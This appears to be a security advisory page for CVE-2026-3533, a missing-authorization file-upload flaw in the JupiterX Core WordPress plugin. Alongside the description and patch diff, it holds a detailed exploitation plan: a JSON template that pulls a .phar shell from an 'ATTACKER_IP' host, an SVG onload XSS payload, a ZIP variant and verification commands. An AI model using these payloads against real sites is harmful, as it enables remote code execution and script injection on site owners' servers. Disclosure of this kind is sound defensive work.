CVE-2026-3533

JupiterX Core <= 4.14.1 - Authenticated (Subscriber+) Missing Authorization To Limited File Upload via Popup Template Import

highUnrestricted Upload of File with Dangerous Type
8.8
CVSS Score
8.8
CVSS Score
high
Severity
4.14.2
Patched in
1d
Time to patch

Description

The Jupiter X Core plugin for WordPress is vulnerable to limited file uploads due to missing authorization on import_popup_templates() function as well as insufficient file type validation in the upload_files() function in all versions up to, and including, 4.14.1. This makes it possible for Authenticated attackers with Subscriber-level access and above, to upload files with dangerous types that can lead to Remote Code Execution on servers configured to handle .phar files as executable PHP (e.g., Apache+mod_php), or Stored Cross-Site Scripting via .svg, .dfxp, or .xhtml files upload on any server configuration

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=4.14.1
PublishedMarch 23, 2026
Last updatedMarch 23, 2026
Affected pluginjupiterx-core

What Changed in the Fix

Changes introduced in v4.14.2

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-3533 (Jupiter X Core) ## 1. Vulnerability Summary The **Jupiter X Core** plugin (<= 4.14.1) contains a critical missing authorization vulnerability in its popup template import functionality. The class `JupiterX_Core_Control_Panel_Popup` registers an admin ac…

Show full research plan

Exploitation Research Plan - CVE-2026-3533 (Jupiter X Core)

1. Vulnerability Summary

The Jupiter X Core plugin (<= 4.14.1) contains a critical missing authorization vulnerability in its popup template import functionality. The class JupiterX_Core_Control_Panel_Popup registers an admin action import_popup_action which maps to the function import_popup_templates(). This function fails to perform any capability checks (e.g., current_user_can( 'manage_options' )) or nonce verification.

Furthermore, the import process involves an upload_files() function (referenced in the vulnerability description) that performs insufficient validation on files referenced within the imported template JSON or ZIP. This allows an authenticated user with Subscriber-level permissions to upload dangerous files (e.g., .phar, .svg) to the server, leading to Remote Code Execution (RCE) or Stored Cross-Site Scripting (XSS).

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin.php?action=import_popup_action
  • Hook: admin_action_import_popup_action
  • HTTP Method: POST
  • Payload Parameter: file (multipart/form-data)
  • Authentication: Authenticated (Subscriber+)
  • Preconditions:
    • The attacker must be logged in as a Subscriber.
    • For RCE, the server must be configured to execute .phar files (common in Apache/mod_php environments).
    • For XSS, any environment is vulnerable via .svg upload.

3. Code Flow

  1. Entry Point: A Subscriber sends a POST request to /wp-admin/admin.php?action=import_popup_action.
  2. Hook Execution: WordPress triggers the admin_action_import_popup_action hook, which calls JupiterX_Core_Control_Panel_Popup::import_popup_templates() (defined in includes/control-panel-2/includes/class-popup.php).
  3. Missing Auth Check: import_popup_templates() immediately processes $_FILES['file'] without checking the user's capabilities or a nonce.
  4. Mime Validation Bypass: The function checks if ( 'application/zip' !== $file['type'] && 'application/json' !== $file['type'] ). Since $file['type'] is derived from the client-side Content-Type header, this is trivial to bypass.
  5. JSON Processing: The function calls import_popup_template($path).
  6. Sink (Inferred): import_popup_template calls get_imported_template_content() which then triggers upload_files(). This function (likely in a truncated portion of the source or a helper class) processes media/assets defined in the JSON. If the JSON contains a URL or base64 data for a .phar or .svg file, upload_files() fails to block it due to "insufficient validation," writing it to the wp-content/uploads directory.

4. Nonce Acquisition Strategy

Based on the provided source code for includes/control-panel-2/includes/class-popup.php:

  • Result: No nonce is required.
  • Reason: The function import_popup_templates() does not call check_ajax_referer, check_admin_referer, or wp_verify_nonce. It is registered via add_action( 'admin_action_import_popup_action', ... ), which executes on admin.php and expects the action parameter but does not enforce a CSRF token in this plugin's implementation.

5. Exploitation Strategy

Step 1: Authenticate as Subscriber

Log in to the WordPress instance as a Subscriber.

Step 2: Prepare Malicious Elementor Template (JSON)

Create a file named exploit.json. The content must be valid JSON and contain a reference to the malicious file.

Note: Since the exact structure of upload_files is inferred, we use the standard Elementor "media sideload" pattern.

{
  "content": [
    {
      "id": "1",
      "elType": "widget",
      "widgetType": "image",
      "settings": {
        "image": {
          "url": "http://ATTACKER_IP/shell.phar",
          "id": 999
        }
      }
    }
  ],
  "page_settings": {
    "title": "Exploit Popup"
  }
}

Step 3: Execute File Upload via Import

Send a multipart/form-data POST request to the admin action endpoint.

  • URL: http://localhost:8080/wp-admin/admin.php?action=import_popup_action
  • Method: POST
  • Headers: Content-Type: multipart/form-data
  • Body:
    • file: (binary data of exploit.json)
    • file Part Header: Content-Type: application/json

Step 4: Locate the Uploaded File

The plugin will attempt to sideload shell.phar. It is typically saved to /wp-content/uploads/YEAR/MONTH/shell.phar.

6. Test Data Setup

  1. User: Create a Subscriber user.
    wp user create attacker attacker@example.com --role=subscriber --user_pass=attacker
    
  2. Attacker Host: Ensure an external HTTP server (or a file in a reachable directory) hosts the payload (e.g., shell.phar containing <?php phpinfo(); ?>).

7. Expected Results

  • HTTP Response: A 302 redirect to wp-admin/edit.php?post_type=jupiterx-popups (or an error if the JSON structure is partially invalid, but the upload_files call may have already occurred).
  • Post Creation: A new post of type jupiterx-popups appears in the database.
  • File Creation: The file shell.phar or malicious.svg exists in the wp-content/uploads directory.

8. Verification Steps

  1. Verify Post Creation:
    wp post list --post_type=jupiterx-popups
    
  2. Verify File Presence:
    find /var/www/html/wp-content/uploads -name "*.phar"
    find /var/www/html/wp-content/uploads -name "*.svg"
    
  3. Confirm RCE (if .phar is executable):
    Request the uploaded file via http_request and check for the phpinfo output.

9. Alternative Approaches

If the JSON "media" import fails (due to environment restrictions on sideloading), attempt a ZIP-based import:

  1. Create a ZIP containing exploit.json and shell.phar.
  2. Send the ZIP to the same endpoint with Content-Type: application/zip.
  3. The function extract_and_validate_zip( $path, [ 'json' ] ) (from Elementor/JupiterX) might extract the shell.phar into a temporary directory under uploads. If the extraction logic fails to clean up non-JSON files or if it moves the entire contents, RCE is achieved.

If RCE is blocked by server configuration, pivot to Stored XSS:

  1. Use an .svg payload in the JSON: {"url": "http://.../xss.svg"}.
  2. The SVG should contain: <svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"></svg>.
  3. Once imported, locate the SVG URL and navigate to it in the browser using browser_navigate.
Research Findings
Static analysis — not yet PoC-verified

Summary

The JupiterX Core plugin for WordPress is vulnerable to arbitrary file uploads because the import_popup_templates function fails to perform authorization or nonce checks. This allows authenticated attackers with Subscriber-level permissions or higher to upload dangerous files, such as .phar for Remote Code Execution (RCE) or .svg for Cross-Site Scripting (XSS), via a malicious popup template import.

Vulnerable Code

// includes/control-panel-2/includes/class-popup.php:36
add_action( 'admin_action_import_popup_action', [ $this, 'import_popup_templates' ] );

---

// includes/control-panel-2/includes/class-popup.php:124
public function import_popup_templates() {
    $file = filter_var_array( $_FILES, FILTER_DEFAULT, FILTER_REQUIRE_ARRAY );

    if ( empty( $file ) ) {
        wp_die( esc_html__( 'Empty file.', 'jupiterx-core' ) );
    }

    $file = $file['file'];

    if ( 'application/zip' !== $file['type'] && 'application/json' !== $file['type'] ) {
        wp_die( esc_html__( 'Format not allowed', 'jupiterx-core' ) );
    }

    $path = $file['tmp_name'];

    $templates = [];

    if ( 'application/zip' === $file['type'] ) {
        // ... extraction logic ...
    }

    if ( 'application/json' === $file['type'] ) {
        $templates = $this->import_popup_template( $path );
    }
    // ... remaining logic ...
}

Security Fix

--- a/includes/control-panel-2/includes/class-popup.php
+++ b/includes/control-panel-2/includes/class-popup.php
@@ -124,6 +124,12 @@
 	public function import_popup_templates() {
+		if ( ! current_user_can( 'manage_options' ) ) {
+			wp_die( esc_html__( 'You do not have access to this section.', 'jupiterx-core' ) );
+		}
+
+		check_admin_referer( 'jupiterx-import-template', 'jupiterx-import-template-nonce' );
+
 		$file = filter_var_array( $_FILES, FILTER_DEFAULT, FILTER_REQUIRE_ARRAY );

Exploit Outline

The exploit targets the unprotected 'import_popup_action' admin action. An attacker first authenticates as a Subscriber user and then sends a multipart/form-data POST request to /wp-admin/admin.php?action=import_popup_action. The payload consists of a 'file' parameter containing a malicious JSON Elementor template. This JSON structure includes a media reference (e.g., an image URL) pointing to a dangerous file hosted on an attacker-controlled server (such as a .phar shell or a .svg XSS payload). The attacker sets the Content-Type of the file part to 'application/json' to satisfy the plugin's basic mime-type check. The plugin then sideloads the referenced file into the standard WordPress uploads directory without further validation, allowing the attacker to execute it or trigger XSS.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.